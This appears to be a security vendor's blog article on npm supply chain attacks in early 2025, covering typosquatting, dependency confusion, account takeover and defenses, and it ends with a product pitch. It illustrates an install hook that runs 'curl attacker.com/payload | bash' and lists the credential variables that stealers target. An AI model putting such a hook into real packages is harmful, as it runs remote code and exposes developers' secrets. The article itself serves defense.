The npm ecosystem — home to over 2.5 million packages and the backbone of modern JavaScript development — continued to be the most targeted software supply chain in early 2025. In the first quarter alone, security researchers identified hundreds of malicious packages, multiple dependency confusion campaigns, and several cases of legitimate package maintainer account compromise.
The scale of the problem is difficult to overstate. A single poisoned popular package can propagate malicious code to thousands of downstream applications within hours of publication. And the npm ecosystem's design — where deeply nested dependency trees are the norm — means that developers often have no idea what code they're actually running.
The Numbers
Q1 2025 npm supply chain attack statistics:
- Malicious packages identified: Over 800 packages flagged and removed
- Typosquatting packages: Approximately 350 packages mimicking popular package names
- Dependency confusion attempts: At least 12 documented targeted campaigns against specific organizations
- Maintainer account compromises: 5 confirmed incidents affecting packages with significant download counts
- Estimated affected downstream projects: Tens of thousands
These numbers represent detected incidents. The actual volume of malicious packages is certainly higher, as detection depends on automated scanning, community reports, and researcher vigilance.
Major Incident Categories
Typosquatting campaigns
Typosquatting remains the most common technique because it's simple and effective. Attackers publish packages with names that closely resemble popular packages, hoping that developers will mistype during installation.
Q1 2025 examples:
- Packages mimicking
@angular/*scoped packages with subtle character substitutions - Variants of popular utility libraries (
lodash,axios,express) with added or removed characters - Packages using Unicode characters that visually resemble ASCII characters in package names
The malicious payloads varied:
- Credential stealers: Exfiltrating environment variables, SSH keys, and cloud provider credentials
- Cryptocurrency miners: Installing background mining processes
- Reverse shells: Providing persistent remote access to the developer's machine
- Data exfiltration: Uploading project source code and configuration files to attacker-controlled servers
Dependency confusion
Dependency confusion exploits the way package managers resolve package names. When an organization uses private npm packages with specific names, an attacker can publish a public npm package with the same name but a higher version number. If the package manager is misconfigured, it will install the public (malicious) version instead of the private (legitimate) one.
In Q1 2025, targeted dependency confusion attacks were observed against:
- Financial services companies (targeting internal tooling packages)
- Technology companies (targeting CI/CD pipeline packages)
- Healthcare organizations (targeting internal data processing libraries)
The sophistication increased compared to previous years. Attackers conducted reconnaissance to identify internal package names through job postings, GitHub repositories, and leaked configuration files. Some campaigns used install scripts that were context-aware, only executing the malicious payload when installed in the target organization's environment.
Maintainer account compromise
The highest-impact supply chain attacks don't create new packages — they compromise existing, trusted ones. In Q1 2025, several maintainer accounts were compromised through:
- Credential reuse: Maintainers using the same password across npm and other services that had been breached
- Phishing: Targeted phishing campaigns specifically aimed at npm package maintainers
- Social engineering: Convincing maintainers to add new collaborators who then published malicious versions
- Inactive account takeover: Claiming abandoned accounts or packages through npm's transfer procedures
The most concerning incidents involved packages with tens of thousands of weekly downloads. Even brief periods of compromise — before the malicious version was detected and removed — resulted in widespread exposure.
Protestware and sabotage
A continuing trend from 2022's node-ipc incident, some maintainers intentionally introduced destructive or politically motivated code into their own packages. While less common than external attacks, these incidents erode trust in the ecosystem because they come from legitimate, previously trusted sources.
Technical Analysis of Common Payloads
Install script exploitation
npm allows packages to define scripts that run during installation (preinstall, postinstall). Malicious packages commonly use these hooks to:
"scripts": {
"preinstall": "node malicious-setup.js",
"postinstall": "curl attacker.com/payload | bash"
}
The code executes with the permissions of the user running npm install, which in CI/CD environments often has access to secrets, cloud credentials, and deployment keys.
Environment variable exfiltration
The most common payload pattern in Q1 2025 was environment variable theft:
AWS_ACCESS_KEY_IDandAWS_SECRET_ACCESS_KEYGITHUB_TOKENandGITLAB_TOKENNPM_TOKEN(enabling further supply chain attacks)- Database connection strings
- API keys for cloud services
These credentials are exfiltrated via HTTP requests to attacker-controlled servers, often encoded in DNS queries or HTTP headers to evade basic network monitoring.
Delayed execution
Sophisticated malicious packages delay their payload execution to evade sandbox detection:
- Waiting for a specific date/time before activating
- Only executing after a certain number of installations or imports
- Checking the environment to ensure they're not running in an analysis sandbox
- Triggering only in production environments (checking for CI/CD-specific environment variables)
Defensive Measures
Lockfiles and pinned versions
Always commit your package-lock.json and use npm ci instead of npm install in CI/CD pipelines. This ensures reproducible builds and prevents automatic installation of new versions.
Registry configuration
For organizations with private packages:
- Configure scoped registries to point to your private registry
- Use
.npmrcto explicitly set registry URLs for internal scopes - Consider using a registry proxy (Verdaccio, Nexus, Artifactory) that can filter malicious packages
Install script auditing
Review install scripts in new dependencies before adding them. Use npm install --ignore-scripts and then explicitly run scripts after review. Some organizations disable install scripts entirely in CI/CD.
Dependency review
Implement automated dependency review in pull requests. Tools that check for:
- New dependencies added
- Version changes in existing dependencies
- Known malicious packages (using sources like the npm advisory database, Socket.dev, and Snyk)
- Suspicious package characteristics (new package, low download count, install scripts, network access)
SBOM generation and monitoring
Generate and maintain Software Bills of Materials for all projects. An SBOM provides a definitive record of what packages (and versions) are included in your software, enabling rapid assessment when new supply chain threats are disclosed.
How Safeguard.sh Helps
Safeguard.sh is purpose-built for the npm supply chain security challenge. The platform generates comprehensive SBOMs for your JavaScript projects, tracking every direct and transitive dependency across your entire application portfolio.
When a malicious npm package is identified — whether through typosquatting, maintainer compromise, or dependency confusion — Safeguard.sh immediately identifies every project in your organization that includes the affected package. This eliminates the manual, error-prone process of searching through hundreds of repositories to determine exposure.
The platform's policy engine enforces supply chain security standards: requiring lockfile usage, flagging packages with install scripts, alerting on dependency changes, and blocking known malicious packages before they enter your build pipeline. Safeguard.sh's continuous monitoring means that new threats are correlated against your actual dependency tree in real-time, not just at build time.
For organizations managing hundreds of JavaScript projects, this automated visibility and policy enforcement is the difference between a manageable supply chain risk and an unmonitored exposure that grows with every npm install.